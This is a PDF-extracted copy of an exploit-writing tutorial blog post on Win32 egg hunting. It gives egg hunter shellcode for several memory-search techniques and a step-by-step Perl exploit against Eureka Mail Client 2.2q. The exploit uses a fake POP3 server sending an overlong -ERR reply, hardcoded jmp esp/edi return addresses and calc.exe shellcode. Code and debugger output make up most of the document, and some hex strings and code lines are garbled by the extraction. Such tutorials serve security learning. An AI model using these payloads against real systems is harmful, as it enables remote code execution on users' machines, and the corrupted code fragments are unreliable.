Peter Van Eeckhoutte's Blog

:: [Knowledge is not an object, it's a flow] ::

Exploit writing tutorial part 8 : Win32 Egg Hunting

Peter Van Eeckhoutte · Saturday, January 9th, 2010

Introduction

Easter is still far away, so this is probably the right time to talk about ways to hunting for eggs (so you would be prepared when the easter bunny brings you another 0day vulnerability)

In the first parts of this exploit writing tutorial series, we have talked about stack based overflows and how they can lead to arbitrary code execution. In all of the exploits that we have built so far, the location of where the shellcode is placed is more or less static and/or could be referenced by using a register (instead of a hardcoded stack address), taking care of stability and reliability.

In some parts of the series, I have talked about various techniques to jump to shellcode, including techniques that would use one or more trampolines to get to the shellcode. In every example that was used to demonstrate this, the size of the available memory space on the stack was big enough to fit our entire shellcode.

What if the available buffer size is too small to squeeze the entire shellcode into ? Well, a technique called egg hunting may help us out here. Egg hunting is a technique that can be categorized as "staged shellcode", and it basically allows you to use a small amount of custom shellcode to find your actual (bigger) shellcode (the "egg") by searching for the final shellcode in memory. In other words, first a small amount of code is executed, which then tries to find the real shellcode and executes it.

There are 3 conditions that are important in order for this technique to work

1. You must be able to jump to (jmp, call, push/ret) & execute "some" shellcode. The amount of available buffer space can be relatively small, because it will only contain the so-called "egg hunter". The egg hunter code must be available in a predictable location (so you can reliably jump to it & execute it)

2. The final shellcode must be available somewhere in memory (stack/heap/...).

3. You must "tag" or prepend the final shellcode with a unique string/marker/tag. The initial shellcode (the small "egg hunter") will step through memory, looking for this marker. When it finds it, it will start executing the code that is placed right after the marker using a jmp or call instruction. This means that you will have to define the marker in the egg hunter code, and also write it just in front of the actual shellcode.

Searching memory is quite processor intensive and can take a while. So when using an egg hunter, you will notice that

- for a moment (while memory is searched) all CPU memory is taken.

- it can take a while before the shellcode is executed. (imagine you have 3Gb or RAM)

History & Basic Techniques

Only a small number of manuals have been written on this subject : Skape wrote this excellent paper a while ago, and you can also find some good info on heap-only egg hunting here.

Skape's document really is the best reference on egg hunting that can be found on the internet. It contains a number of techniques and examples for Linux and Windows, and clearly explains how egg hunting works, and how memory can be searched in a safe way.

I'm not going to repeat the technical details behind egg hunting here, because skape's document is well detailed and speaks for itself. I'll just use a couple of examples on how to implement them in stack based overflows.

You just have to remember :

- The marker needs to be unique (Usually you need to define the tag as 4 bytes inside the egg hunter, and 2 times (2 times right after each other, so 8 bytes) prepended to the actual shellcode.

- You'll have to test which technique to search memory works for a particular exploit. (NTAccessCheckAndAuditAlarm seems to work best on my system)

- Each technique requires a given number of available space to host the egg hunter code :

the SEH technique uses about 60 bytes, the IsBadReadPtr requires 37 bytes, the NtDisplayString method uses 32 bytes. (This last technique only works on NT derived versions of Windows. The others should work on Windows 9x as well.)

Egg hunter code

C) Peter Van Feckhoutte

As explained above, skape has outlined 3 different egg hunting techniques for Windows based exploits. Again, I'm not going to explain the exact reasoning behind the egg hunters, I'm just going to provide you with the code needed to implement an egg hunter.

The decision to use a particular egg hunter is based on

- available buffer size to run the egg hunter

- whether a certain technique for searching through memory works on your machine or for a given exploit or not. You just need to test.

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

Egg hunter using SEH injection

Egg hunter size = 60 bytes, Egg size = 8 bytes

01/03/2010 - 1 / 39

If you want to show your respect for my work - donate : http://www.corelan.be:8800/index.php/donate/

ag

EB21	jmp short 0x23
59	pop ecx
B890509050	mov eax, 0x50905090 ; this is the t
51	push ecx
6AFF	push byte -0x1
33DB	xor ebx,ebx
648923	mov [fs:ebx],esp
6A02	push byte +0x2
59	pop ecx
8BFB	mov edi,ebx
F3AF	repe scasd
7507	jnz 0x20
FFE7	jmp edi
	or bx,0xfff
43	inc ebx
EBED	jmp short 0x10
E8DAFFFFF	call 0x2
6A0C	push byte +0xc
59	pop ecx
8B040C	mov eax,[esp+ecx]
B1B8	mov cl,0xb8
83040806	add dword [eax+ecx],byte +0x6
58	pop eax
83C410	add esp,byte+0x10
50	push eax
33C0	xor eax,eax
C3	ret

In order to use this egg hunter, your egg hunter payload must look like this :

my egghunter = "xebx21x59xb8".

"w00t".
"\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb".
"\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb".
"\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1".
"\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3";

(where w00t is the tag. You could write w00t as "\x77\x30\x30\x74" as well)

Note : the SEH injection technique will probably become obsolete, as SafeSeh mechanisms are becoming the de facto standard in newer OS's and Service Packs. So if you need to use an egg hunter on XP SP3, Vista, Win7..., you'll either have to bypass safeseh one way or another, or use a different egg hunter technique (see below)

Egg hunter using IsBadReadPtr

Egg hunter size = 37 bytes, Egg size = 8 bytes

33DB	xor ebx,ebx
6681CBFF0F	or bx,0xfff
43	inc ebx
6A08	push byte +0x8
53	push ebx
B80D5BE777	mov eax,0x77e75b0d
FFD0	call eax
85C0	test eax,eax
75EC	jnz 0x2
B890509050	mov eax, 0x50905090 ; this is the tag
8BFB	mov edi,ebx
8BFB AF	mov edi,ebx scasd
AF	scasd
AF 75E7	scasd jnz 0x7
AF 75E7 AF	scasd jnz 0x7 scasd

Egg hunter payload :

c) Peter Van Eeckhoutte

```
my $egghunter = "\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08".
"\x53\xb8\x0d\x5b\xe7\x77\xff\xd0\x85\xc0\x75\xec\xb8".
"w00t".
"\x8b\xfb\xaf\x75\xe7\xaf\x75\xe4\xff\xe7";
```

Egg hunter using NtDisplayString

Egg hunter size = 32 bytes, Egg size = 8 bytes

6681CAFF0F	or dx,0x0fff
42	inc edx
52	push edx
6A43	push byte +0x43
58	pop eax
CD2E	int 0x2e
3C05	cmp al,0x5

5A 74EF B8 90509050 8BFA AF 75EA AF	<pre>pop edx jz 0x0 mov eax,0x50905090 ; this is the tag mov edi,edx scasd jnz 0x5 scasd</pre>
AF	scasd
75E7	jnz 0x5
FFE7	jmp edi

Egg hunter payload :

my \$egghunter =

"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8". "w00t".

"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

or, as seen in Immunity :

1			-
	0012CD6C 66:81CA FF0F	OR DX, OFFF	
	0012CD71 42	INC EDX	
	0012CD72 52 0012CD73 6A 02	PUSH EDX PUSH 2	
	0012CD75 58	POP EAX	
	0012CD76 CD 2E	INT 2E	
	0012CD78 3C 05	CMP AL,5	
	0012CD7A 5A	POP EDX	
	0012CD7B ^74 EF	JE SHORT 0012CD6C	
	0012CD7D B8 77303074 0012CD82 8BFA	MOV EAX,74303077 MOV EDI,EDX	
	0012CD84 AF	SCAS DWORD PTR ES: [EDI]	
	0012CD85 ^75 EA	JNZ SHORT 0012CD71	
	0012CD87 AF	SCAS_DWORD_PTR_ES:[EDI]	
	0012CD88 ^75 E7	JNZ SHORT 0012CD71	
	0012CD8A FFE7	JMP EDI	

Egg hunter using NtAccessCheck (AndAuditAlarm)

Another egg hunter that is very similar to the NtDisplayString hunter is this one :

```
my $egghunter =
```

- "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

Instead of using NtDisplayString, it uses NtAccessCheckAndAuditAlarm (offset 0×02 in the KiServiceTable) to prevent access violations from taking over your egg hunter. More info about NtAccessCheck can be found here and here. Also, my friend Lincoln created a nice video about this egg hunter : watch the video here

Brief explanation on how NtDisplayString / NtAccessCheckAndAuditAlarm egg hunters work

These 2 egg hunters use a similar technique, but only use a different syscall to check if an access violation occurred or not (and survive the AV) NtDisplayString prototype :

```
NtDisplayString(
IN PUNICODE_STRING String );
```

NtAccessCheckAndAuditAlarm prototype :

NtAccessCheckAndAudit/	Nlarm(
IN PUNICODE_STRING	SubsystemName OPTIONAL,
IN HANDLE	ObjectHandle OPTIONAL,
IN PUNICODE_STRING	<pre>ObjectTypeName OPTIONAL,</pre>
IN PUNICODE_STRING	ObjectName OPTIONAL,
IN PSECURITY_DESCRIPT	OR SecurityDescriptor,
IN ACCESS_MASK	DesiredAccess,
IN PGENERIC_MAPPING	GenericMapping,
IN BOOLEAN	ObjectCreation,
OUT PULONG	GrantedAccess,
OUT PULONG	AccessStatus,
OUT PBOOLEAN	<pre>GenerateOnClose);</pre>

(prototypes found at http://undocumented.ntinternals.net/)

This is what the hunter code does :

6681CAFF0F	or dx,0x0fff	; get last address in page
42	inc edx	; acts as a counter
		;(increments the value in EDX)

01/03/2010 - 3 / 39

52	push edx	; pushes edx value to the stack
		;(saves our current address on the stack)
6A43	push byte +0x2	; push 0x2 for NtAccessCheckAndAuditAlarm
		; or 0x43 for NtDisplayString to stack
58	pop eax	; pop 0x2 or 0x43 into eax
		; so it can be used as parameter
		; to syscall - see next
CD2E	int 0x2e	; tell the kernel i want a do a
		; syscall using previous register
3C05	cmp al,0x5	; check if access violation occurs
		;(0xc0000005== ACCESS VIOLATION) 5
5A	pop edx	; restore edx
74EF	je xxxx	; jmp back to start dx 0x0fffff
B890509050	mov eax.0x50905	5090 ; this is the tag (egg)
8BFA	mov edi,edx	; set edi to our pointer
AF	scasd	; compare for status
75EA	jnz xxxxxx	; (back to inc edx) check egg found or not
AF	scasd	; when egg has been found
75E7	jnz xxxxx	; (jump back to "inc edx")
-	,	; if only the first egg was found
FFE7	jmp edi	; edi points to begin of the shellcode
	5 1	

(thanks Shahin Ramezany !)

Implementing the egg hunter - All your w00t are belong to us !

In order to demonstrate how it works, we will use a recently discovered vulnerability in Eureka Mail Client v2.2q, discovered by Francis Provencher. You can get a copy of the vulnerable version of this application here :

Eureka Mail Client v2.2q (Log in before downloading this file !) - Downloaded 46 times

Install the application. We'll configure it later on.

This vulnerability gets triggered when a client connects to a POP3 server. If this POP3 server sends long / specifically crafted "-ERR" data back to the client, the client crashes and arbitrary code can be executed.

Let's build the exploit from scratch on XP SP3 English (VirtualBox).

We'll use some simple lines of perl code to set up a fake POP3 server and send a string of 2000 bytes back (metasploit pattern).

First of all, grab a copy of the pvefindaddr plugin for Immunity Debugger. Put the plugin in the pycommands folder of Immunity and launch Immunity Debugger. Create a metasploit pattern of 2000 characters from within Immunity using the following command :

!pvefindaddr pattern_create 2000



!pvefindaddr pattern_create 2000

In the Immunity Debugger application folder, a file called mspattern.txt is now created, containing the 2000 character Metasploit pattern.



Open the file and copy the string to the clipboard.

Now create your exploit perl script and use the 2000 characters as payload (in \$junk)

use Socket; #Metasploit pattern" my \$junk = "Aa0..."; #paste your 2000 bytes pattern here

my \$payload=\$junk;

c) Peter Van Eeckhouttie

#set up listener on port 110
my \$port=110;
my \$proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,\$proto);

Knowledge is not an object, it's a flow

```
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
    print "[+] Client connected, sending evil payload\n";
    while(1)
    {
        print CLIENT "-ERR ".$payload."\n";
        print " _-> Sent ".length($payload)." bytes\n";
    }
    }
    close CLIENT;
print "[+] Connection closed\n";
```

Notes :

http://www.corelan.be:8800

Don't use 2000 A's or so - it's important for the sake of this tutorial to use a Metasploit pattern... Later in this tutorial, it will become clear why this is important).
 If 2000 characters does not trigger the overflow/crash, try using a Metasploit pattern of 5000 chars instead

- I used a while(1) loop because the client does not crash after the first -ERR payload. I know, it may look better if you would figure out how many iterations are really needed to crash the client, but I like to use endless loops because they work too most of the time :-)

Run this perl script. It should say	y something like this :
-------------------------------------	-------------------------



Now launch Eureka Mail Client. Go to "Options" - "Connection Settings" and fill in the IP address of the host that is running the perl script as POP3 server. In my example, I am running the fake perl POP3 server on 192.168.0.193 so my configuration looks like this :

s	ettings for server p	air 'Main servers'	×	
	Servers			
	Server pair name	Main servers		
	POP3 (incoming)	192.168.0.193	_	
	SMTP (outgoing)	192.168.0.193		
	Authentication			
	POP Username	fake		
	POP Password	10000		

(you'll have to enter something under POP Username & Password, but it can be anything). Save the settings. Now attach Immunity Debugger to Eureka Email and let it run

Immu	inity Debug	ger									
le Viev	v Debug I	Plugins	ImmLib	Option	s Win	dow	Help	Jobs			
203	s 🗉 🔣	44 X	► II	4 4	21-1	-	+I	l e	m	t v	v h
	105						_				
Find: E	URE										
PID	Name	Serv	lice	Li	stenin	9	Win	dow			
632 644 796 916 984 1024 1068 1164	services Isass VBoxServi svchost svchost svchost svchost svchost svchost	ce UBor Door Rpc3 Audi Do sc	icyAgent Service Launch, S ioSrv, E sache osts, Re	Te: TC: TC: TC: TC: TC: TC: TC: TC: TC: TC:	P: 338	9	Def	ault			
1200	Eureka En	ai						eka Er			er -
1248	suchost	Spor	lient								

When the client is running (with Immunity Attached), go back to Eureka Mail Client, go to "File" and choose "Send and receive emails"

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use



The application dies. You can stop the perl script (it will still be running – endless loop remember). Look at the Immunity Debugger Log and registers : "Access violation when executing [37784136]" Registers look like this :

Registers (FPU)	<	<	<	<	<	<
EAX 00000000 ECX 7C91005D ntdll.7C91005D EDX 00140608 EBX 00120140 ESP 0012CD6C ASCII "Ax8Ax9Ay0Ay1Ay2A EBP 00475BFC Eureka_E.00475BFC	y 3Ay 4Ay	5Ay6A	ly7Ay8	Ay 9Az	0Az 1A	z2Az
ESI 00475BF8 Eureka_E.00475BF8 EDI 00473678 ASCII "h0Bh1Bh2Bh3Bh4Bh EIP 37784136	58h68h7	Bh8Bh	98i08	i1Bi2	Bi3Bi	4Bi5
C 0 ES 0023 32bit 0(FFFFFFF) P 0 CS 001B 32bit 0(FFFFFFFF)						

Now run the following command :

!pvefindaddr suggest

Now it will become clear why I used a Metasploit pattern and not just 2000 A's. Upon running the !pvefindaddr suggest command, this plugin will evaluate the crash, look for Metasploit references, tries to find offsets, tries to tell what kind of exploit it is, and even tries to build example payload with the correct offsets :



lpvefindaddr suggest

Life is good :-)

So now we know that :

- it's a direct RET overwrite. RET is overwritten after 710 bytes (VirtualBox). I did notice that, depending on the length of the IP address or hostname that was used to reference the POP3 server in Eureka Email (under connection settings), the offset to overwrite RET may vary. So if you use 127.0.0.1 (which is 4 bytes shorter than 192.168.0.193), the offset will be 714). There is a way to make the exploit generic : get the length of the local IP (because that is where the Eureka Mail Client will connect to) and calculate the offset size based on the length of the IP. (723 – length of IP)

- both ESP and EDI contain a reference to the shellcode. ESP after 714 bytes and ESP 991 bytes. (again, modify offsets according to what you find on your own system) So far so good. We could jump to EDI or to ESP.

ESP points to an address on the stack (0×0012cd6c) and EDI points to an address in the .data section of the application (0×00473678 - see memory map).

Memory map								
Address	Size	Owner	Section	Contains	Type Access	Initial Mapp		
00350000 00360000 00370000 003F0000 00400000 00401000 00401000	00001000 00001000 00001000 00005000 00001000 00005000 00056000	Eureka_E Eureka_E Eureka_E	.text	PE header code imports	Priv RW Priv RW Priv RW Priv RW Imag R Imag R Imag R	RW RW RW RWE RWE RWE RWE		
00459000 0047F000 005C0000	00026000 00137000 00006000	Eureka_E Eureka_E		data resources	Imag RW Imag R Map R E	RWE RWE R E		

If we look at ESP, we can see that we only have a limited amount of shellcode space available :

01/03/2010 - 6 / 39

Knowledge is not an object, it's a flow



Of course, you could jump to ESP, and write jumpback code at ESP so you could use a large part of the buffer before overwriting RET. But you will still only have something like 700 bytes of space (which is ok to spawn calc and do some other basic stuff....)

Jumping to EDI may work too. Use the '!pvefindaddr j edi' to find all "jump edi" trampolines. (All addresses are written to file j.txt). I'll use 0×7E47B533 (from user32.dll on XP SP3). Change the script & test if this normal direct RET overwrite exploit would work :

```
use Socket:
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
my $collate offset to EIP
my $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47B533); #jmp edi from user32.dll XP SP3
my $padding = "\x90" x 277;
#calc.exe
my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x49\x4b\x4c\x4a"
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"
"\x4c\x4c\x4b\x43\x4c\x43\x35\x48\x45\x51\x4a\x4f\x4c"
\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a\
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"
"\x31\x49\x50\x4c\x59\x4e\x4c\x44\x49\x50\x43\x44\x43"
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50\
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
my $payload=$junk.$ret.$padding.$shellcode;
#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
  print "[+] Client connected, sending evil payload\n";
  while(1)
```

01/03/2010 - 7 / 39



ι	print print				oad." <mark>\n</mark> "; h(\$payload)	" by	tes\n"·
<u>}</u>	prine		> Serre	. cenge	n (apay coud)		(C5 (II)
clos	e CLIE	NT;					
prin	t "[+]	Conne	ection cl	losed\n"	;		

Attach Immunity to Eureka, and set a breakpoint at 0×7E47B533 (jmp edi).

Trigger the exploit. Immunity breaks at jmp edi. When we look at the registers now, instead of finding our shellcode at EDI, we see A's. That's not what we have expected, but it's still ok, because we control the A's. This scenario, however, would be more or less the same as when using jmp esp : we would only have about 700 bytes of space. (Alternatively, of course, you could use nops instead of A's, and write a short jump just before RET is overwritten. Then place the shellcode directly after overwrite RET and it should work too.)



But let's do it the "hard" way this time, just to demonstrate that it works. Even though we see A's where we may have expected to see shellcode, our shellcode is still placed somewhere in memory. If we look a little bit further, we can see our shellcode at 0×00473992

Address
00473992 00473962 00473902 00473902 00473902 0047392 00473952 00473952 00473952 00473812 00473842 00473842 00473942 00473942 00473942 00473942 00473942

This address may not be static... so let's make the exploit more dynamic and use an egg hunter to find and execute the shellcode.

We'll use an initial jmp to esp (because esp is only 714 bytes away), put our egg hunter at esp, then write some padding, and then place our real shellcode (prepended with the marker)... Then no matter where our shellcode is placed, the egg hunter should find & execute it. The egg hunter code (I'm using the NtAccessCheckAndAuditAlarm method in this example) looks like this :

\$egghunter

"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

- "\x77\x30\x30\x74". # this is the marker/tag: w00t
 "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

The tag used in this example is the string w00t. This 32 byte shellcode will search memory for "w00tw00t" and execute the code just behind it. This is the code that needs to be placed at esp.

When we write our shellcode in the payload, we need to prepend it with w00tw00t (= 2 times the tag - after all, just looking for a single instance of the egg would probably result in finding the second part of egg hunter itself, and not the shellcode)

First, locate jump esp (!pvefindaddr j esp). I'll use 0×7E47BCAF (jmp esp) from user32.dll (XP SP3).

Change the exploit script so the payload does this :

- overwrite EIP after 710 bytes with jmp esp
- put the \$egghunter at ESP. The egghunter will look for "w00tw00t"
- add some padding (could be anything... nops, A's... as long as you don't use w00t :))
- prepend "w00tw00t" before the real shellcode
- write the real shellcode

c) Peter Van Eeckhoutte

use Socket;

01/03/2010 - 8 / 39

```
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
my $calculate offset to EIP
my $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47BCAF); #jmp esp from user32.dll
my $padding = "\x90" x 1000;
my $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\x88".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
#calc.exe
my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"
"\x31\x49\x50\x4c\x59\x4e\x4c\x44\x49\x50\x43\x44\x43"
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c\
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"
\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45\
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
my $payload=$junk.$ret.$egghunter.$padding."w00tw00t".$shellcode;
#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp')
socket(SERVER, PF_INET, SOCK_STREAM, $proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER, $paddr)
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client addr;
while($client_addr=accept(CLIENT,SERVER))
  print "[+] Client connected, sending evil payload\n";
  while(1)
      print CLIENT "-ERR ".$payload."\n";
print " -> Sent ".length($payload)." bytes\n";
  }
close CLIENT;
print "[+] Connection closed\n";
```

Attach Immunity to Eureka Mail, and set a breakpoint at 0×7E47BCAF. Continue to run Eureka Email. Trigger the exploit. Immunity will break at the jmp esp breakpoint. Now look at esp (before the jump is made) : We can see our egghunter at 0×0012cd6c At 0×12cd7d (mov eax,74303077), we find our string w00t.

01/03/2010 - 9 / 39

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

c) Petrer Van Eeckhouttte

FE4 7E4780B1 DCCF 7E4780B3 FFE5 7E4780B5 DDD0 7E4780B7 FFE5 7E4780B9 DCD0 7E4780B9 DCD0 7E4780B8 FFE5 2E4280B0 DCD0 2E4280B0 DCD0 ESP=00120060	JIP ESP FNUL ST(7),ST JIP EBP FST ST JIP EBP FOOT STA JIP EBP	▲ Illegal use of regist	Registers (FPU) EAX 00000000 ECX 7021005D ECX 00140060 EDX 00200278 UNICODE "un." ISP 00120060 ISP 00120060 ISP 00120060 ISP 00475BF2 UNICODE "un." ISI 00475BF2 UNICODE 00475BF3 IDI 00475BF3 Eureka_E.00475BF3 IIP 7E47BCAF USER32.7E47BCAF	
Address M. 0000 0012CD6C 66:31CA FF0F 0012CD71 42 0012CD72 52 0012CD73 60 0012CD75 58 0012CD76 CD 2E 0012CD77 3C 05 0012CD78 3C 05 0012CD78 S7303074 0012CD82 8FA 0012CD84 AF 0012CD85 A75 EA 0012CD84 FFE 0012CD84 AFF 0012CD84 FFE 0012CD84	Disassembly OR DX.0FFF INC EDX PUSH EDX PUSH 2 POP EDX INT 2E CMP AL.5 POP EDX JE SHORT 0012CD6C HOU EDX.74303077 HOU EDI.EDX SCAS DWORD PTR ES:(EDI] JN2 SHORT 0012CD71 SCAS DWORD PTR ES:(EDI] JN2 SHORT 0012CD71 JN2 SHORT 0012CD71 JN2 PDI NOP	Conment		

Continue to run the application, and calc.exe should pop up

										Ľ	-	na (10) Na (10)	
And States of St	Conception of the								E				
	2 10											12.0	11 =
百載	112	-		_	_	_	_	_	_	_	_	1	
8 2 2	평티	C 10	10	< C (04 F	8n	i ing	-	C Rad		C 64		
i i i i i i i i i i i i i i i i i i i	38	(in	Г	-		-		Inte		α		¢	
1.57	0.2	-	14	T.		×	1				-	-	
3 5	12	100	-	6.0		-		1			0	34	
	100	(ban)			14	145	1	2	1		1.0	-	
1						-		*				-	
	35	Dat											

Nice.

(c) Peter Van Eeckhoutte

As a little exercise, let's try to figure out where exactly the shellcode was located in memory when it got executed.

Put a break between the 2 eggs and the shellcode (so prepend the shellcode with 0xCC), and run the exploit again (attached to the debugger)



The egg+shellcode was found in the resources section of the application.

004570000 00005000 00570000 ((tself) 00400000 0005000 Eureka_E 00400000 (itself) 00401000 00056000 Eureka_E 00400000 00457000 00002000 Eureka_E 00400000	.text .rdata	PE header code imports	Imag R Imag R E Imag R E	RWE RWE RWE	
- 53459000 00026000 Eureka E 00400000	.data	data	Imag RW	RWE	
47F000 00137000 Eureka E 00400000	.rsrc	resources	Imag R	RWE	
			Man D F	DE	

So it looks like the egghunter (at $0 \times 0012cd6c$) had to search memory until it reached $0 \times 004739AD$. If we look back (put breakpoint at jmp esp) and look at stack,we see this :

Address Hex dutp RS0	011	
0012003C 41 41 41 41 41 41 41 41 41 40 00120044 41 41 41 41 41 41 41 41 40 0012004C 41 41 41 41 41 41 41 41 40 0012004C 41 41 41 41 41 41 41 40		
00122056 41 41 41 41 41 41 41 41 41 60 00122056 41 41 41 41 41 60 00122056 41 41 41 41 41 60 00122056 46 01 00 ft 01 42 52 46 40 00122057 40 50 50 00 22 50 55 56 74 60 00122057 40 50 50 75 50 74 60 00122056 40 75 50 75 50 76 75 71 60 00122056 40 75 50 75 50 77 50 75 71 60 00122056 40 75 50 75 50 75 71 75 71 75 00122056 40 75 50 75 50 75 75 71 75 71 75 00122056 40 75 50 75 75 70 75 75 75 75 75 75 00122056 40 75 50 75 75 75 75 75 75 75 75 75 75 75 75 75	office Egg hunter	
	nops	
Operation Operation <t< th=""><th>no shellcode here</th><th></th></t<>	no shellcode here	

Despite the fact that the shellcode was not located anywhere near the hunter, It did not take a very long time before the egg hunter could locate the eggs and execute the shellcode. Cool !

But what if the shellcode is on the heap ? How can we find all instances of the shellcode in memory? What if it takes a long time before the shellcode is found ? What if we must tweak the hunter so it would start searching in a particular place in memory ? And is there a way to change the place where the egg hunter will start the search ? A lot of questions, so let's continue.

Tweaking the egg hunter start position (for fun, speed and reliability)

When the egg hunter in our example starts executing, it will perform the following instructions : (Let's pretend that EDX points to $0 \times 0012E468$ at this point, and the egg sits at $0 \times 0012F555$ or so.)

0012F460	66:81CA FF0F	OR DX,0FFF
0012F465	42	INC EDX
0012F466	52	PUSH EDX
0012F467	6A 02	PUSH 2
0012F469	58	POP EAX

